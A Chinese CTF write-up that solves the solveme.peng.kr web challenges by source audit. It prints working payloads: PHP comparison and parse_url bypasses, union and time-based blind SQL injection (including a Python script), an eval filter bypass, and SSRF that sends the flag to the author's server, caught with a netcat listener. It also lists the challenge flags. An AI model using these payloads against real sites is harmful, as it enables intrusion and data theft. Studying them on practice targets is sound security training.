Solveme.peng.kr平台Web题解


前言

最近发现了一个Web练习平台:http://solveme.peng.kr/chall里面所有的Web都是源码审计,感觉网上相关题解很少,于是抽空做了一下,写了一篇文章,欢迎大家和我多多交流!

warmup

应该是道签到题

<?php      error_reporting(0);      require __DIR__.'/lib.php';      echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';      highlight_file(__FILE__);  

题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=我们反解一下即可:

<?php   $str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";  echo hex2bin(strrev(bin2hex(base64_decode($str))));   ?>  

即可得到结果:flag{582a0f2c7e302244b110cc461f5cb100}

Bad compare

题目给了源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['answer'])){          if($_GET['answer'] === 'роВхУъесЧМ'){              echo $flag;          }else{              echo 'Wrong answer';          }          echo '<hr>';      }      highlight_file(__FILE__);  

其中answer需要等于一个奇怪的字符串,如果直接复制就会解析有问题(我粘贴的代码中已经解析出错了,实际上都不是ascii码中可见字符),所以我使用了一个脚本获取这串解析有误的字符串

import requests  import urllib  url = "http://badcompare.solveme.peng.kr"  s = requests.get(url=url)  print urllib.quote(s.content[917:927])  

得到结果

%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC  

最后提交即可

http://badcompare.solveme.peng.kr/?answer=%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC  

拿到flag:flag{446c7b68ad824cd9c1df87158717aa2b}

Winter sleep

题目给出了源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['time'])){          if(!is_numeric($_GET['time'])){              echo 'The time must be number.';          }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){              echo 'This time is too short.';          }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){              echo 'This time is too long.';          }else{              sleep((int)$_GET['time']);              echo $flag;          }          echo '<hr>';      }      highlight_file(__FILE__);  

可见我们输入一个介于5184000~7776000直接的值即可拿到flag但实际上这样我们的浏览器会sleep大量时间,显然不可取这里选择弱比较

<?php   echo 60 * 60 * 24 * 30 * 2;  echo "/n";  echo 6e6;  echo "/n";  echo (int)'6e6';  echo "/n";  echo 60 * 60 * 24 * 30 * 3;  

可以看以上脚本输出内容:

5184000  6000000  6  7776000  

故此访问http://wintersleep.solveme.peng.kr/?time=6e6,等待6秒,即可拿到flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}

Hard login

给出源码

<?php      error_reporting(0);      session_start();      require __DIR__.'/lib.php';      if(isset($_GET['username'], $_GET['password'])){          if(isset($_SESSION['hard_login_check'])){              echo 'Already logged in..';          }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){              echo 'Wrong username..';          }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){              echo 'Wrong password..';          }else{              $_SESSION['hard_login_check'] = true;              echo 'Login success!';              header('Location: ./');          }          echo '<hr>';      }      highlight_file(__FILE__);  

说实话这题真心坑……我看到后一直在尝试用户名密码……很崩溃,一直没解出来最后看到他的跳转header('Location: ./');索性尝试一下直接访问index.php,但是发现不行,会跳转回来于是尝试curl了一下

[email protected]:/var/log/apache2# curl http://hardlogin.solveme.peng.kr/index.php  flag{0c6c0da40b898083181495d760759e78}<hr><code><span style="color: #000000">  

立刻拿到flag……泪崩

URL filtering

看到代码

<?php      error_reporting(0);      require __DIR__."/lib.php";      $url = urldecode($_SERVER['REQUEST_URI']);      $url_query = parse_url($url, PHP_URL_QUERY);      $params = explode("&", $url_query);      foreach($params as $param){          $idx_equal = strpos($param, "=");          if($idx_equal === false){              $key = $param;              $value = "";          }else{              $key = substr($param, 0, $idx_equal);              $value = substr($param, $idx_equal + 1);          }          if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){              die("no hack");          }      }      if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){          die($flag);      }      highlight_file(__FILE__);  

看到过滤

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){              die("no hack");          }  

但是题目却要求我们使用do_you_want_flag=yes来获取flag显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作此时相当parse_url一个解析漏洞,详情可以戳我的这篇文章:

http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/  

所以我最后的bypass payload为:

http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes  

即可拿到flag:flag{dce9d958be17f0f360b8148706e87bf2}

hashcollision

看到源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['foo'], $_GET['bar'])){          if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){              die('Too long');          }          if($_GET['foo'] === $_GET['bar']){              die('Same value');          }          if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){              die('Different hash');          }          echo $flag, '<hr>';      }      highlight_file(__FILE__);  

可以看到要求我们用不同的值,并且sha512相等,所以立刻想到数组绕过漏洞

http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2  

访问即可拿到flag:flag{0cec577bd45696ab552fe3ab6110c35b}

Array2String

拿到题目直接给出源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      $value = $_GET['value'];      $username = $_GET['username'];      $password = $_GET['password'];      for ($i = 0; $i < count($value); ++$i) {          if ($_GET['username']) unset($username);          if ($value[$i] > 32 && $value[$i] < 127) unset($value);          else $username .= chr($value[$i]);          if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {              echo 'Hello '.$username.'!', '<br>', PHP_EOL;              echo $flag, '<hr>';          }      }      highlight_file(__FILE__);  

这里要求不能输入username,并且输入的vaule不在ascii码可见范围内但是最后又要求value经过chr后拼接的username为’15th_HackingCamp’这里我的第一反应是利用强转和弱比较之类的trick,所以我首先构造了脚本

$i=0;  while ($i <= 100) {      $test = $i."e1";      if ($test > 32 && $test < 127)      {      }      else      {          if ((ord(chr($test))>32)&&(ord(chr($test))<127))      {          echo "test:".$test."   chr:".chr($test)."/n";      }      }       $i = $i+0.1;  }  

然后很轻松得到可以Bypass的值(如下给出部分)

test:28.9e1   chr:!  test:29e1   chr:"  test:29.1e1   chr:#  test:29.2e1   chr:$  test:29.3e1   chr:%  test:29.4e1   chr:&  test:29.5e1   chr:'  test:29.6e1   chr:(  test:29.7e1   chr:)  test:29.8e1   chr:*  test:29.9e1   chr:+  test:30e1   chr:,  test:30.1e1   chr:-  test:30.2e1   chr:.  test:30.3e1   chr:/  test:30.4e1   chr:0  test:30.5e1   chr:1  test:30.6e1   chr:2  test:30.7e1   chr:3  test:30.8e1   chr:4  test:30.9e1   chr:5  test:31e1   chr:6  

容易得到payload:

http://array2string.solveme.peng.kr/?value[]=56.100000000001e1&value[]=82.1e1&value[]=88.499999999999e1&value[]=87.299999999999e1&value[]=86.399999999999e1&value[]=84.099999999999e1&value[]=60.900000000001e1&value[]=61.100000000001e1&value[]=61.900000000001e1&value[]=61.700000000001e1&value[]=62.200000000001e1&value[]=61.500000000001e1&value[]=57.900000000001e1&value[]=60.900000000001e1&value[]=62.100000000001e1&value[]=62.400000000001e1&password=simple_passw0rd  

但后来经过查阅chr()相关函数:

Note that if the number is higher than 256, it will return the number mod 256.  For example :  chr(321)=A because A=65(256)  

得知chr()会自动进行mod256所以我们可以更简单的得到一个payload

http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd   

最后得到结果

Hello 15th_HackingCamp!  flag{91b966596782c89bc6eb4daa75f459d7}  

Give me a link

看到源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['url'])){          $url = $_GET['url'];          if(preg_match('/_|/s|/0/', $url)){              die('Not allowed character');          }          if(!preg_match('/^https?/:////'.$_SERVER['HTTP_HOST'].'/i', $url)){              die('Not allowed URL');          }          $parse = parse_url($url);          if($parse['path'] !== '/plz_give_me'){              die('Not allowed path');          }          $ch = curl_init();          curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);          curl_exec($ch);          curl_close($ch);          echo 'Okay, I sent the flag.', '<hr>';      }      highlight_file(__FILE__);  

首先看到3个过滤1.过滤了下划线2.限制了$_SERVER['HTTP_HOST'],并且抓包不允许修改HOST3.parse_url解析后路径需为/plz_give_me这里显然1和3是冲突的然后flag的获取方式

curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);  

和2是冲突的首先我们解决下划线被waf的问题查阅parse_url的官方手册,可以知道

url  The URL to parse. Invalid characters are replaced by _.  

无效的字符会被自动替换成下划线我们尝试一下

<?php   $url = urldecode("http://skysec.top/%1atest%1a");  var_dump(parse_url($url));  ?>  

得到

array(3) {    ["scheme"]=>    string(4) "http"    ["host"]=>    string(10) "skysec.top"    ["path"]=>    string(7) "/_test_"  }  

发现%1a可以成功被替换成下划线那么我们第一个问题解决了,下面是如何解决Host的问题在官方手册中还有这样一句

$url = 'http://username:[email protected]:9090/path?arg=value#anchor';  

所以Host的值我们可以构造

[email protected]_ip  

去绕过检测所以最后payload为

http://givemealink.solveme.peng.kr/?url=http://[email protected]_ip/plz%1agive%1ame  

服务器上收到flag:

223.26.138.11 - - [15/Mar/2018:12:44:15 +0000] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 477 "-" "-"  

givemealink2

代码如下

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['url'])){          $url = $_GET['url'];          if(preg_match('/_|/s|/0/', $url)){              die('Not allowed character');          }          $parse = parse_url($url);          if(!preg_match('/^https?$/i', $parse['scheme'])){              die('Not allowed scheme');          }          if(!preg_match('/^(localhost|127/./d+/./d+/./d+|[^.]+)(/:/d+)?$/i', $parse['host'])){              die('Not allowed host');          }          if(!preg_match('///plz_give_me$/', $parse['path'])){              die('Not allowed path');          }          $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);          if($socket === false){              die('Failed to create socket');          }          $host = gethostbyname($parse['host']);          $port = is_null($parse['port']) ? 80 : $parse['port'];          if(socket_connect($socket, $host, $port) === false){              die('Failed to connect');          }          $send = "HEAD /".$flag." HTTP/1.1/r/n".              "Host: ".$host.":".$port."/r/n".              "Connection: Close/r/n".              "/r/n/r/n";          socket_write($socket, $send, strlen($send));          $recv = socket_read($socket, 1024);var_dump($recv);          if(!preg_match('/^HTTP//1.1 200 OK/r/n/', $recv)){              die('Not allowed response');          }          socket_close($socket);          echo 'Okay, I sent the flag.', '<hr>';      }      highlight_file(__FILE__);  

发现这题和上一题类似,但是这里对host有了新的要求:

if(!preg_match('/^(localhost|127/./d+/./d+/./d+|[^.]+)(/:/d+)?$/i', $parse['host'])){              die('Not allowed host');  }  

正则要求以localhost和127开头,但是存在缺陷由于是127.0.0.1这样的形式,我们可以直接用ip2long来绕过构造脚本如下

<?php   echo ip2long("vps_ip");  ?>  

然后在vps上打开监听

nc -l -vv -p 23333  

然后发送payload:

http://givemealink2.solveme.peng.kr/?url=http://ip2long_vps_ip:23333/plz%01give%01me  

即可收到flag:flag{51e22d08303881dd898f916cb1956c4e}

Replace filter

拿到源码

<?php      error_reporting(0);      require __DIR__.'/lib.php';      if(isset($_GET['say']) && strlen($_GET['say']) < 20){          $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);          if(preg_match('/give_me_the_flag/', $say)){              echo $flag;          }else{              echo 'What the f**k?';          }          echo '<hr>';      }      highlight_file(__FILE__);  

审计代码发现正则写法为:

/^(.*)flag(.*)$/  

而这个写法是存在缺陷的:.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,也就是说,换行的话,即可破解所以payload为:

http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag  

得到flag:flag{f7b4422c4570282e64560f081701ccfa}

Hell JS

拿到网页f12是一堆js混淆用脚本跑了一下

#!/usr/bin/python  # coding: utf-8  js = "......" #此处省去源码  alpha_dict = {      '"f"': '(![]+[])[+[]]',      '"i"': '([][[]]+[])[!![]+!![]+!![]+!![]+!![]]',      '"l"': '(![]+[])[!![]+!![]]',      '"t"': '(!![]+[])[+[]]',      '"e"': '(!![]+[])[!![]+!![]+!![]]',      '"r"': '(!![]+[])[+!![]]',      '"c"': '({}+[])[!![]+!![]+!![]+!![]+!![]]',      '"o"': '({}+[])[+!![]]',      '"n"': '([][[]]+[])[+!![]]',      '"s"': '(![]+[])[!![]+!![]+!![]]',      '"u"': '(!![]+[])[!![]+!![]]',      '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',      '"b"': '({}+[])[!![]+!![]]',      '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',      '"a"': '(![]+[])[+!![]]',      '"2"': '(!![]+!![]+[])',      '"4"': '(!![]+!![]+!![]+!![]+[])',      '"7"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',      '"y"': '(+(+!![]+"e"+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',      '"0"': '(+[]+[])',      '"3"': '(!![]+!![]+!![]+[])',      '"5"': '(!![]+!![]+!![]+!![]+!![]+[])',      '"1"': '(+!![]+[])',      '"9"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',      '"8"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',      '"6"': '(!![]+!![]+!![]+!![]+!![]+!![]+[])',      '"y"': '(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',      '"d"': '([][[]]+[])[!![]+!![]]',      '[3]': '[!![]+!![]+!![]]'  }  for key, value in alpha_dict.items():      js = js.replace(value, key)  clean_dict = {      '"p"': '([]["filter"]["constructor"]("return "+"location")()+[])[3]',      '"constructor"': '"c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"',      '"return "': '"r"+"e"+"t"+"u"+"r"+"n"+" "',      '"filter"': '"f"+"i"+"l"+"t"+"e"+"r"',      '"fontcolor"': '"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"',      '"location"': '"l"+"o"+"c"+"a"+"t"+"i"+"o"+"n"',      '"110"': '"1"+"2"+"2","3"+"2","1"+"0"+"5","1"+"1"+"0"',      '"111"': '"1"+"1"+"1"',      '"99"': '"9"+"9"',      '"98"': '"9"+"8"',      '"57"': '"5"+"7"',      '"101"': '"1"+"0"+"1"',      '"108"': '"1"+"0"+"8"',      '"106"': '"1"+"0"+"6"',      '"61"': '"6"+"1"',      '"112"': '"1"+"1"+"2"',      '"116"': '"1"+"1"+"6"',      '"40"': '"4"+"0"',      '"34"': '"3"+"4"',      '"119"': '"1"+"1"+"9"',      '"105"': '"1"+"0"+"5"',      '"102"': '"1"+"0"+"2"',      '"125"': '"1"+"2"+"5"',      '"102"': '"1"+"0"+"2"',      '"97"': '"9"+"7"',      '"100"': '"1"+"0"+"0"',  #     # '"u"': '("1"["s"+"u"+"b"]())[!![]+!![]]'  }  for key, value in clean_dict.items():      js = js.replace(value, key)  print js  

得到运行结果(过长就不写全了),发现其中有大量数字:

"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"  

这引起了我的注意随即我处理了一下

47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125  

然后调用js函数解析

document.write(String.fromCharCode(47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125))  

得到回显:

// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); }  

可以发现flag

Anti SQLi

审计代码

<?php      // It's 'Anti SQLi' problem of 'Solve Me'.      error_reporting(0);      require __DIR__.'/lib.php';       $id = $_GET['id'];      $pw = $_GET['pw'];      if(isset($id, $pw)){          preg_match(              '//.|/`|"|/'|//|/xA0|/x0B|0x0C|/t|/r|/n|/0|'.              '=|<|>|/(|/)|@@|/|/||&&|#|///*.*/*//|--[/s/xA0]|'.              '0x[0-9a-f]+|0b[01]+|x/'[0-9a-f]+/'|b/'[01]+/'|'.              '[/s/xA0/'"]+(as|or|and|r*like|regexp)[/s/xA0/'"]+|'.              'union[/s/xA0]+select|[/s/xA0](where|having)|'.              '[/s/xA0](group|order)[/s/xA0]+by|limit[/s/xA0]+/d|'.              'information_schema|procedure/s+analyse/s*/is',              $id.','.$pw          ) and die('Hack detected');          $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)              or die('SQL server down');          $result = mysqli_fetch_array(              mysqli_query(                  $con,                   "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"              )          );          mysqli_close($con);          if(isset($result)){              if($result['no'] === '31337'){                  echo $flag;              }else{                  echo 'Hello, ', $result['id'];              }          }else{              echo 'Login failed';          }          echo '<hr>';      }      highlight_file(__FILE__);  

首先看过滤:

preg_match(              '//.|/`|"|/'|//|/xA0|/x0B|0x0C|/t|/r|/n|/0|'.              '=|<|>|/(|/)|@@|/|/||&&|#|///*.*/*//|--[/s/xA0]|'.              '0x[0-9a-f]+|0b[01]+|x/'[0-9a-f]+/'|b/'[01]+/'|'.              '[/s/xA0/'"]+(as|or|and|r*like|regexp)[/s/xA0/'"]+|'.              'union[/s/xA0]+select|[/s/xA0](where|having)|'.              '[/s/xA0](group|order)[/s/xA0]+by|limit[/s/xA0]+/d|'.              'information_schema|procedure/s+analyse/s*/is',              $id.','.$pw          )  

一眼就看到好像有什么地方不对,因为之前自己写过滤犯过同样的错误

|//|  

对于/的过滤问题,这样显然是错误的,正确的写法应该为////那么这是出题人留下的提示吗?或是出题人大意了?顺着反斜杠的思路思考,猜想应该是用反斜杠吃掉一个单引号那么可以引入注释符吗?注意到过滤

|#|--[/s/xA0]|  

显然用%23去注释已经被限制死了但是–好像还有机会我们知道直接使用–是没有注释效果的但是如果使用-- 1类似的才会有效果但此时过滤了空格和%0a,以及前面的一对乱七八糟的过滤所以想用–注释并不是很轻松,那是既然出题人没有写死,说明突破点的确在此想到之前的parse_url那题的不可见字符,于是随手测试了一下发现的确未被过滤,又看到题目要求no为31337于是猜想应该是3列,并且需要union于是开始构造payload:

http://antisqli.thinkout.rf.gd/?id=/&pw=union select 1,1,1 from antisqli --%1A  

发现回显Hack detected再去看过滤

union[/s/xA0]+select  

发现中间不可以有空格,那加个all好了

http://antisqli.thinkout.rf.gd/?id=/&pw=union all select 1,1,1 from antisqli --%1A  

得到回显:

Hello, 1  

再次尝试

http://antisqli.thinkout.rf.gd/?id=/&pw=union all select 2,2,2 from antisqli --%1A  

又得到回显

Hello, 2  

ok,看来此题破解了最后的payload:

http://antisqli.thinkout.rf.gd/?id=/&pw=union all select 31337,31337,31337 from antisqli --%1A  

得到flag:flag{5a0841c4738a69af352a06d282bece78}

Name check

源码如下:

<?php      error_reporting(0);      require __DIR__.'/lib.php';       if(isset($_GET['name'])){          $name = $_GET['name'];          if(preg_match("/admin|--|;|/(/)|///*|//0/i", $name)){              echo 'Not allowed input';              goto quit;          }          $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);          $res = $sql->query("              SELECT               MAX('0','1','{$name}') LIKE 'a%',               INSTR('{$name}','d')>0,               MIN('{$name}','b','c') LIKE '__m__',               SUBSTR('{$name}',-2)='in'          ;");          if($res === false){              echo 'Database error';              goto quit;          }          $row = $res->fetchArray(SQLITE3_NUM);          if(              $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||              array_sum($row) !== 4           ){              echo 'Auth failed';              goto quit;          }          echo $flag;      quit:          echo '<hr>';      }      highlight_file(__FILE__);  

首先看源码,如何获取flag?

if(              $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||              array_sum($row) !== 4           ){              echo 'Auth failed';              goto quit;          }          echo $flag;  

从条件可以看出,我们必须让4个值的和为4从sql语句来看,满足的唯一方法就是sql的4个操作均为true也就是

SELECT               MAX('0','1','{$name}') LIKE 'a%',               INSTR('{$name}','d')>0,               MIN('{$name}','b','c') LIKE '__m__',               SUBSTR('{$name}',-2)='in'  

全部满足的情况下那我们逐个分析:第一行意思为你输入的必须以a开头第二行的意思是你输入的需要有d第三行的意思是你输入的是中间是字符m)第四行就是字符以in结尾这不就是admin吗再去看过滤

if(preg_match("/admin|--|;|/(/)|///*|//0/i", $name)){              echo 'Not allowed input';              goto quit;          }  

发现admin被过滤了那么从sqlite的特性考虑查阅手册发现:

SQLite中,连接字符串不是使用+,而是使用||  

随即想到用||进行连接发现未被过滤,于是得到payload

http://namecheck.solveme.peng.kr/?name=adm'||'in  

I am slowly

源码如下:

<?php      // It's 'I am slowly' problem of 'Solve Me'.      error_reporting(0);      require __DIR__.'/lib.php';       $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);      $answer = $_GET['answer'];      if(isset($answer)){          $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)              or die('SQL server down');          $result = mysqli_fetch_array(              mysqli_query($con, "SELECT `count` FROM `{$table}`;")          );          if(!isset($result)){              mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");              $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));              mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");          }elseif($result['count'] === '12'){              mysqli_query($con, "DROP TABLE `{$table}`;");              echo 'Game over';              goto quit;          }          $randtime = mt_rand(1, 10);          $result = mysqli_fetch_array(              mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")          );          if(isset($result) && $result['answer'] === $answer){              mysqli_query($con, "DROP TABLE `{$table}`;");              echo $flag;          }else{              mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");              echo 'Go fast';          }  quit:          mysqli_close($con);          echo '<hr>';      }      highlight_file(__FILE__);  

审计代码容易发现漏洞点:

elseif($result['count'] === '12'){              mysqli_query($con, "DROP TABLE `{$table}`;");              echo 'Game over';              goto quit;          }  

只有当count === 12时才会drop表但是代码存在致命漏洞,即先进行sql查询再将count+1,然后在下一次访问后才会drop那么我们是否可以构造1.count=11时候停止2.先请求一个sleep(50)的请求此时已经经过了count===12的检测最后网页一直停止在

$result = mysqli_fetch_array(              mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")          );  

3.再立刻请求一个不带注入sleep的4.显然3先完成,这时候count为125.过了一会儿2完成了,由于已经经过检测,所以不会因为count===12而drop,所以成功,count+1,此时count成为13那么我们即可成功绕过count的限制进行无限制注入这里我写了一个盲注脚本

import requests  header = {  "Host":"iamslowly.thinkout.rf.gd",  "Cache-Control":"max-age=0",  "Upgrade-Insecure-Requests":"1",  "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",  "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",  "Referer":"http://solveme.peng.kr/chall",  "Accept-Language":"zh-CN,zh;q=0.8",  "Cookie":"__test=a2fbff5c2fbbbf79071a4e0abbb76f3f"  }  flag = ""  for i in range(1,1000):      for j in "abcdef1234567890":          url = "http://iamslowly.thinkout.rf.gd/?i=3&answer=' or if((answer like '%s%%'),sleep(30),1)%%23"%(flag+j)          try:              r = requests.get(url=url,headers=header,timeout=29)              print "i:",i,"j:",j,r.content[:10]          except:              flag += j              print flag              break  

此时即可跑出answer,提交即可得到flag

flag{e1442b9d9758c21536b61ac833600561}  

Check via eval

代码如下:

<?php      error_reporting(0);      require __DIR__.'/lib.php';      $exam = 'return/''.sha1(time()).'/';';      if (!isset($_GET['flag'])) {          echo '<a href="./?flag='.$exam.'">Click here</a>';      }      else if (strlen($_GET['flag']) != strlen($exam)) {          echo 'Not allowed length';      }      else if (preg_match('/`|"|/.|////|/(|/)|/[|/]|_|flag|echo|print|require|include/is', $_GET['flag'])) {          echo 'Not allowed keyword';      }      else if (eval($_GET['flag']) === sha1($flag)) {          echo $flag;      }      else {          echo 'What/'s going on?';      }      echo '<hr>';      highlight_file(__FILE__);  

发现过滤了

`  ()  []  

导致很难调用函数和命令执行随后又想能否只能打印出flag发现过滤了

echo  print  require  include  

后查阅资料发现可以用以下方式绕过,直接输出比如

<?=$flag='123';?>  

可以直接得到结果:123那么我们在这题中,只要构造出<?=$flag?>即可立刻输出我们要的flag,而不需要再去管sha1的相等问题那么如何构造$flag呢?可以用拼接的方式:

$a='alag';$a{0}='f';  

于是最后的payload:

http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>  

可以得到flag:flag{47d07abef31b3adb4a4107bd2b2b3d7e}

admin

相关文章
发表回复